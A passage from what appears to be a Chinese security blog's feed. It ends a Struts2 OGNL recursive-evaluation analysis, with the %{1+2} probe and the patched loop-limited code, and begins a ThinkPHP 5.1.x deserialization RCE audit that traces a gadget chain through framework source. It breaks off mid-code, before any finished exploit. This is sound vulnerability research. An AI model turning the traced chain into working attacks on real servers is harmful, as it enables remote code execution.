对象不为空进入循环</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202306051150771.png" alt="image-20230605115016574"></p><p>再进入 TextUtils.stringSet 检查字符串是否设置为 null 或””</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">final</span> <span class="keyword">static</span> <span class="type">boolean</span> <span class="title function_">stringSet</span><span class="params">(String string)</span> {</span><br><span class="line"> <span class="keyword">return</span> (string != <span class="literal">null</span>) && !<span class="string">""</span>.equals(string);</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>其实第一次看到这个方法以为是 String 值设置,直接返回空?</p><p>但是注释写的是判断。。。</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202306051150025.png" alt="image-20230605115032838"></p><p 1+2="">然后从这一步开始,值就被解析为 %</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202306051150708.png" alt="image-20230605115050580"></p><p>再一次循环就解析结果了</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202306051151721.png" alt="image-20230605115101579"></p><p>实际上就是 translateVariables 下,递归解析 OGNL 表达式,对输入的 %{1+2} 继续解析导致被恶意利用</p><h3 id="漏洞修复"><a class="markdownIt-Anchor" href="#漏洞修复">#</a> 漏洞修复</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">translateVariables</span><span class="params">(<span class="type">char</span> open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, <span class="type">int</span> maxLoopCount)</span> {</span><br><span class="line"> <span class="comment">// deal with the "pure" expressions first!</span></span><br><span class="line"> <span class="comment">//expression = expression.trim();</span></span><br><span class="line"> <span class="type">Object</span> <span class="variable">result</span> <span class="operator">=</span> expression;</span><br><span class="line"> <span class="type">int</span> <span class="variable">loopCount</span> <span class="operator">=</span> <span class="number">1</span>;</span><br><span class="line"> <span class="type">int</span> <span class="variable">pos</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">while</span> (<span class="literal">true</span>) {</span><br><span class="line"></span><br><span class="line"> <span class="type">int</span> <span class="variable">start</span> <span class="operator">=</span> expression.indexOf(open + <span class="string">"{"</span>, pos);</span><br><span class="line"> <span class="keyword">if</span> (start == -<span class="number">1</span>) {</span><br><span class="line"> pos = <span class="number">0</span>;</span><br><span class="line"> loopCount++;</span><br><span class="line"> start = expression.indexOf(open + <span class="string">"{"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (loopCount > maxLoopCount) {</span><br><span class="line"> <span class="comment">// translateVariables prevent infinite loop / expression recursive evaluation</span></span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="type">int</span> <span class="variable">length</span> <span class="operator">=</span> expression.length();</span><br><span class="line"> <span class="type">int</span> <span class="variable">x</span> <span class="operator">=</span> start + <span class="number">2</span>;</span><br><span class="line"> <span class="type">int</span> end;</span><br><span class="line"> <span class="type">char</span> c;</span><br><span class="line"> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">while</span> (start != -<span class="number">1</span> && x < length && count != <span class="number">0</span>) {</span><br><span class="line"> c = expression.charAt(x++);</span><br><span class="line"> <span class="keyword">if</span> (c == <span class="string">'{'</span>) {</span><br><span class="line"> count++;</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (c == <span class="string">'}'</span>) {</span><br><span class="line"> count--;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> end = x - <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> ((start != -<span class="number">1</span>) && (end != -<span class="number">1</span>) && (count == <span class="number">0</span>)) {</span><br><span class="line"> <span class="type">String</span> <span class="variable">var</span> <span class="operator">=</span> expression.substring(start + <span class="number">2</span>, end);</span><br><span class="line"></span><br><span class="line"> <span class="type">Object</span> <span class="variable">o</span> <span class="operator">=</span> stack.findValue(<span class="keyword">var</span>, asType);</span><br><span class="line"> <span class="keyword">if</span> (evaluator != <span class="literal">null</span>) {</span><br><span class="line"> o = evaluator.evaluate(o);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="type">String</span> <span class="variable">left</span> <span class="operator">=</span> expression.substring(<span class="number">0</span>, start);</span><br><span class="line"> <span class="type">String</span> <span class="variable">right</span> <span class="operator">=</span> expression.substring(end + <span class="number">1</span>);</span><br><span class="line"> <span class="type">String</span> <span class="variable">middle</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line"> <span class="keyword">if</span> (o != <span class="literal">null</span>) {</span><br><span class="line"> middle = o.toString();</span><br><span class="line"> <span class="keyword">if</span> (!TextUtils.stringSet(left)) {</span><br><span class="line"> result = o;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> result = left + middle;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (TextUtils.stringSet(right)) {</span><br><span class="line"> result = result + right;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> expression = left + middle + right;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// the variable doesn't exist, so don't display anything</span></span><br><span class="line"> result = left + right;</span><br><span class="line"> expression = left + right;</span><br><span class="line"> }</span><br><span class="line"> pos = (left != <span class="literal">null</span> && left.length() > <span class="number">0</span> ? left.length() - <span class="number">1</span>: <span class="number">0</span>) +</span><br><span class="line"> (middle != <span class="literal">null</span> && middle.length() > <span class="number">0</span> ? middle.length() - <span class="number">1</span>: <span class="number">0</span>) +</span><br><span class="line"> <span class="number">1</span>;</span><br><span class="line"> pos = Math.max(pos, <span class="number">1</span>);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>判断了循环的次数,从而在解析到 %{1+1} 的时候不会继续向下递归</p>]]></content>
<tags>
<tag> 代码审计 </tag>
<tag> Java安全 </tag>
<tag> Struts2 </tag>
</tags>
</entry>
<entry>
<title>ThinkPHP5.1.xRCE漏洞</title>
<link href="/2023/01/12/ThinkPHP5.1.xRCE%E6%BC%8F%E6%B4%9E/"/>
<url>/2023/01/12/ThinkPHP5.1.xRCE%E6%BC%8F%E6%B4%9E/</url>
<content type="html"><![CDATA[<h2 id="前言"><a class="markdownIt-Anchor" href="#前言">#</a> 前言</h2><p>整个流程理解上可能不是很复杂,但我感觉想把整个 exp 写下来还是有点复杂的,中间 debug 的过程还是需要花时间去考究的。</p><h2 id="代码审计"><a class="markdownIt-Anchor" href="#代码审计">#</a> 代码审计</h2><p>入口点依然是 <code>windows.php</code> 下的 <code>__destruct</code></p><p><img src="https://img-blog.csdnimg.cn/000ee35d7ec348a79180a3a4cf45a49c.png" alt="在这里插入图片描述"></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#[Pure</span>(<span class="literal">true</span>)<span class="meta">]</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">file_exists</span>(<span class="params"><span class="keyword">string</span> <span class="variable">$filename</span></span>): <span class="title">bool</span> </span>{}</span><br></pre></td></tr></table></figure><p><code>file_exists</code> 会将文件名当做字符串,这里接着寻找 <code>__toString</code> 方法<br>在 5.0 版本是在 <code>Model</code> 类<br>在 5.1 版本是在 <code>Conversion</code> 类</p><p>一路跟进到 <code>toArray</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">toArray</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="variable">$item</span> = [];</span><br><span class="line"> <span class="variable">$hasVisible</span> = <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">foreach</span> (<span class="variable language_">$this</span>->visible <span class="keyword">as</span> <span class="variable">$key</span> => <span class="variable">$val</span>) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="title function_ invoke__">is_string</span>(<span class="variable">$val</span>)) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="title function_ invoke__">strpos</span>(<span class="variable">$val</span>, <span class="string">'.'</span>)) {</span><br><span class="line"> <span class="keyword">list</span>(<span class="variable">$relation</span>, <span class="variable">$name</span>) = <span class="title function_ invoke__">explode</span>(<span class="string">'.'</span>, <span class="variable">$val</span>);</span><br><span class="line"> <span class="variable language_">$this</span>->visible[<span class="variable">$relation</span>][] = <span class="variable">$name</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="variable language_">$this</span>->visible[<span class="variable">$val</span>] = <span class="literal">true</span>;</span><br><span class="line"> <span class="variable">$hasVisible</span> = <span class="literal">true</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">unset</span>(<span class="variable language_">$this</span>->visible[<span class="variable">$key</span>]);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">foreach</span> (<span class="variable language_">$this</span>->hidden <span class="keyword">as</span> <span class="variable">$key</span> => <span class="variable">$val</span>) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="title function_ invoke__">is_string</span>(<span class="variable">$val</span>)) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="title function_ invoke__">strpos</span>(<span class="variable">$val</span>, <span class="string">'.'</span>)) {</span><br><span class="line"> <span class="keyword">list</span>(<span class="variable">$relation</span>, <span class="variable">$name</span>) = <span class="title function_ invoke__">explode</span>(<span class="string">'.'</span>, <span class="variable">$val</span>);</span><br><span class="line"> <span class="variable language_">$this</span>->hidden[<span class="variable">$relation</span>][] = <span class="variable">$name</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="variable language_">$this</span>->hidden[<span class="variable">$val</span>] = <span class="literal">true</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">unset</span>(<span class="variable language_">$this</span>->hidden[<span class="variable">$key</span>]);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 合并关联数据</span></span><br><span class="line"> <span class="variable">$data</span> = <span class="title function_ invoke__">array_merge</span>(<span class="variable">$this</span>->data, <span class="variable">$this</span>->relation);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">foreach</span> (<span class="variable">$data</span> <span class="keyword">as</span> <span class="variable">$key</span> => <span class="variable">$val</span>) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$val</span> <span class="keyword">instanceof</span> Model || <span class="variable">$val</span> <span class="keyword">instanceof</span> ModelCollection) {</span><br><span class="line"> <span class="comment">// 关联模型对象</span></span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable language_">$this</span>->visible[<span class="variable">$key</span>]) && <span class="title function_ invoke__">is_array</span>(<span class="variable">$this</span>->visible[<span class="variable">$key</span>])) {</span><br><span class="line"> <span class="variable">$val</span>-><span class="title function_ invoke__">visible</span>(<span class="variable">$this</span>->visible[<span class="variable">$key</span>]);</span><br><span class="line"> } <span class="keyword">elseif</span> (<span class="keyword">isset</span>(<span class="variable language_">$this</span>->hidden[<span class="variable">$key</span>]) && <span class="title function_ invoke__">is_array</span>(<span class="variable">$this</span>->hidden[<span class="variable">$key</span>])) {</span><br><span class="line"> <span class="variable">$val</span>-><span class="title function_ invoke__">hidden</span>(<span class="variable">$this</span>->hidden[<span class="variable">$key</span>]);</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// 关联模型对象</span></span><br><span class="line"> <span class="keyword">if</span> (!<span class="keyword">isset</span>(<span class="variable language_">$this</span>->hidden[<span class="variable">$key</span>]) || <span class="literal">true</span> !== <span class="variable language_">$this</span>->hidden[<span class="variable">$key</span>]) {</span><br><span class="line"> <span class="variable">$item</span>[<span class="variable">$key</span>] = <span class="variable">$val</span>-><span class="title function_ invoke__">toArray</span>();</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">elseif</span> (<span class="keyword">isset</span>(<span class="variable language_">$this</span>->visible[<span class="variable">$key</span>])) {</span><br><span class="line"> <span class="variable">$item</span>[<span class="variable">$key</span>] = <span class="variable language_">$this</span>-><span class="title function_ invoke__">getAttr</span>(<span class="variable">$key</span>);</span><br><span class="line"> } <span class="keyword">elseif</span> (!<span class="keyword">isset</span>(<span class="variable language_">$this</span>->hidden[<span class="variable">$key</span>]) && !<span class="variable">$hasVisible</span>) {</span><br><span class="line"> <span class="variable">$item</span>[<span class="variable">$key</span>] = <span class="variable language_">$this</span>-><span class="title function_ invoke__">getAttr</span>(<span class="variable">$key</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 追加属性(必须定义获取器)</span></span><br><span class="line"> <span class="keyword">if</span> (!<span class="keyword">empty</span>(<span class="variable language_">$this</span>->append)) {</span><br><span class="line"> <span class="keyword">foreach</span> (<span class="variable language_">$this</span>->append <span class="keyword">as</span> <span class="variable">$key</span> => <span class="variable">$name</span>) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="title function_ invoke__">is_array</span>(<span class="variable">$name</span>)) {</span><br><span class="line"> <span class="comment">// 追加关联对象属性</span></span><br><span class="line"> <span class="variable">$relation</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">getRelation</span>(<span class="variable">$key</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (!<span class="variable">$relation</span>) {</span><br><span class="line"> <span class="variable">$relation</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">getAttr</span>(<span class="variable">$key</span>);</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$relation</span>) {</span><br><span class="line"> <span class="variable">$relation</span>-><span class="title function_ invoke__">visible</span>(<span class="variable">$name</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="variable">$item</span>[<span class="variable">$key</span>] = <span class="variable">$relation</span> ? <span class="variable">$relation</span>-><span class="title function_ invoke__">append</span>(<span class="variable">$name</span>)-><span class="title function_ invoke__">toArray</span>() : [];</span><br><span class="line"> } <span class="keyword">elseif</span> (<span class="title function_ invoke__">strpos</span>(<span class="variable">$name</span>, <span class="string">'.'</span>)) {</span><br><span class="line"> <span class="keyword">list</span>(<span class="variable">$key</span>, <span class="variable">$attr</span>) = <span class="title function_ invoke__">explode</span>(<span class="string">'.'</span>, <span class="variable">$name</span>);</span><br><span class="line"> <span class="comment">// 追加关联对象属性</span></span><br><span class="line"> <span class="variable">$relation</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">getRelation</span>(<span class="variable">$key</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (!<span class="variable">$relation</span>) {</span><br><span class="line"> <span class="variable">$relation</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">getAttr</span>(<span class="variable">$key</span>);</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$relation</span>) {</span><br><span class="line"> <span class="variable">$relation</span>-><span class="title function_ invoke__">visible</span>([<span class="variable">$attr</span>]);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="variable">$item</span>[<span class="variable">$key</span>] = <span class="variable">$relation</span> ? <span class="variable">$relation</span>-><span class="title function_ invoke__">append</span>([<span class="variable">$attr</span>])-><span class="title function_ invoke__">toArray</span>() : [];</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="variable">$item</span>[<span class="variable">$name</span>] = <span class="variable language_">$this</span>-><span class="title function_ invoke__">getAttr</span>(<span class="variable">$name</span>, <span class="variable">$item</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="variable">$item</span>;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>其中我们来看这段</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (!<span class="keyword">empty</span>(<span class="variable language_">$this</span>->append)) {</span><br><span class="line"> <span class="keyword">foreach</span> (<span class="variable language_">$this</span>->append <span class="keyword">as</span> <span class="variable">$key</span> => <span class="variable">$name</span>) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="title function_ invoke__">is_array</span>(<span class="variable">$name</span>)) {</span><br><span class="line"> <span class="comment">// 追加关联对象属性</span></span><br><span class="line"> <span class="variable">$relation</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">getRelation</span>(<span class="variable">$key</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (!<span class="variable">$relation</span>) {</span><br><span class="line"> <span class="variable">$relation</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">getAttr</span>(<span class="variable">$key</span>);</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$relation</span>) {</span><br><span class="line"> <span class="variable">$relation</span>-><span class="title function_ invoke__">visible</span>(<span class="variable">$name</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="variable">$item</span>[<span class="variable">$key</span>] = <span class="variable">$relation</span> ? <span class="variable">$relation</span>-><span class="title function_ invoke__">append</span>(<span class="variable">$name</span>)-><span class="title function_ invoke__">toArray</span>() : [];</span><br><span class="line"> } <span class="keyword">elseif</span> (<span class="title function_ invoke__">strpos</span>(<span class="variable">$name</span>, <span class="string">'.'</span>)) {</span><br><span class="line"> <span class="keyword">list</span>(<span class="variable">$key</span>, <span class="variable">$attr</span>) = <span class="title function_ invoke__">explode</span>(<span class="string">'.'</span>, <span class="variable">$name</span>);</span><br><span class="line"> <span class="comment">// 追加关联对象属性</span></span><br><span class="line"> <span class="variable">$relation</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">getRelation</span>(<span class="variable">$key</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (!<span class="variable">$relation</span>) {</span><br><span class="line"> <span class="variable">$relation</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">getAttr</span>(<span class="variable">$key</span>);</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$relation</span>) {</span><br><span class="line"> <span class="variable">$relation</span>-><span class="title function_ invoke__">visible</span>([<span class="variable">$attr</span>]);</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>这里按照之前 5.0 的写法看,这里的几个参数都是可控的<br> <code>getRelation</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">getRelation</span>(<span class="params"><span class="variable">$name</span> = <span class="literal">null</span></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">if</span> (<span class="title function_ invoke__">is_null</span>(<span class="variable">$name</span>)) {</span><br><span class="line"> <span class="keyword">return</span> <span class="variable language_">$this</span>->relation;</span><br><span class="line"> } <span class="keyword">elseif</span> (<span class="title function_ invoke__">array_key_exists</span>(<span class="variable">$name</span>, <span class="variable">$this</span>->relation)) {</span><br><span class="line"> <span class="keyword">return</span> <span class="variable language_">$this</span>->relation[<span class="variable">$name</span>];</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>这里我们是可以返回空<br>并且 <code>append</code> 是可控的</p><p><code>getAttr</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">getAttr</span>(<span class="params"><span class="variable">$name</span>, &<span class="variable">$item</span> = <span class="literal">null</span></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="variable">$notFound</span> = <span class="literal">false</span>;</span><br><span class="line"> <span class="variable">$value</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">getData</span>(<span class="variable">$name</span>);</span><br><span class="line"> } <span class="keyword">catch</span> (<span class="built_in">InvalidArgumentException</span> <span class="variable">$e</span>) {</span><br><span class="line"> <span class="variable">$notFound</span> = <span class="literal">true</span>;</span><br><span class="line"> <span class="variable">$value</span> = <span class="literal">null</span>;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p><img src="https://img-blog.csdnimg.cn/b16fd37204ff41b1a70e4090d9b49cbe.png" alt="在这里插入图片描述"><br>这里通过 <code>data[]</code> 返回后续利用类的对象 (Request)</p><p>在 5.0 中我们说这里的几个调用方法可以触发 <code>__call</code> 方法<br>这里我们选择则 <code>visible</code> 来触发 <code>__call</code> <br> 找下可以利用的方法<br>在 <code>Request</code> 中</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__call</span>(<span class="params"><span class="variable">$method</span>, <span class="variable">$args</span></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">if</span> (<span class="title function_ invoke__">array_key_exists</span>(<span class="variable">$method</span>, <span class="variable">$this</span>->hook)) {</span><br><span class="line"> <span class="title function_ invoke__">array_unshift</span>(<span class="variable">$args</span>, <span class="variable">$this</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="title function_ invoke__">call_user_func_array</span>(<span class="variable">$this</span>->hook[<span class="variable">$method</span>], <span class="variable">$args</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="built_in">Exception</span>(<span class="string">'method not exists:'</span> . <span class="built_in">static</span>::<span class="variable language_">class</span> . <span class="string">'->'</span> . <span class="variable">$method</span>);</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>首先会判断方法中有没有设置 <code>hook</code> ,然后把 <code>this</code> 关键字放在之执行参数的前面,所以这里对于方法是不可控的<br>所以在该类下寻找可以后续利用的方法</p><p><code>isAjax</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">isAjax</span>(<span class="params"><span class="variable">$ajax</span> = <span class="literal">false</span></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="variable">$value</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">server</span>(<span class="string">'HTTP_X_REQUESTED_WITH'</span>);</span><br><span class="line"> <span class="variable">$result</span> = <span class="string">'xmlhttprequest'</span> == <span class="title function_ invoke__">strtolower</span>(<span class="variable">$value</span>) ? <span class="literal">true</span> : <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="literal">true</span> === <span class="variable">$ajax</span>) {</span><br><span class="line"> <span class="keyword">return</span> <span class="variable">$result</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="variable">$result</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">param</span>(<span class="variable">$this</span>->config[<span class="string">'var_ajax'</span>]) ? <span class="literal">true</span> : <span class="variable">$result</span>;</span><br><span class="line"> <span class="variable language_">$this</span>->mergeParam = <span class="literal">false</span>;</span><br><span class="line"> <span class="keyword">return</span> <span class="variable">$result</span>;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>这里的配置信息是可控的</p><p><img src="https://img-blog.csdnimg.cn/1079e48ea5b94e07b0abddc40deeb246.png" alt="在这里插入图片描述"><br>接着跟进 <code>param</code></p><p><code>param</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span 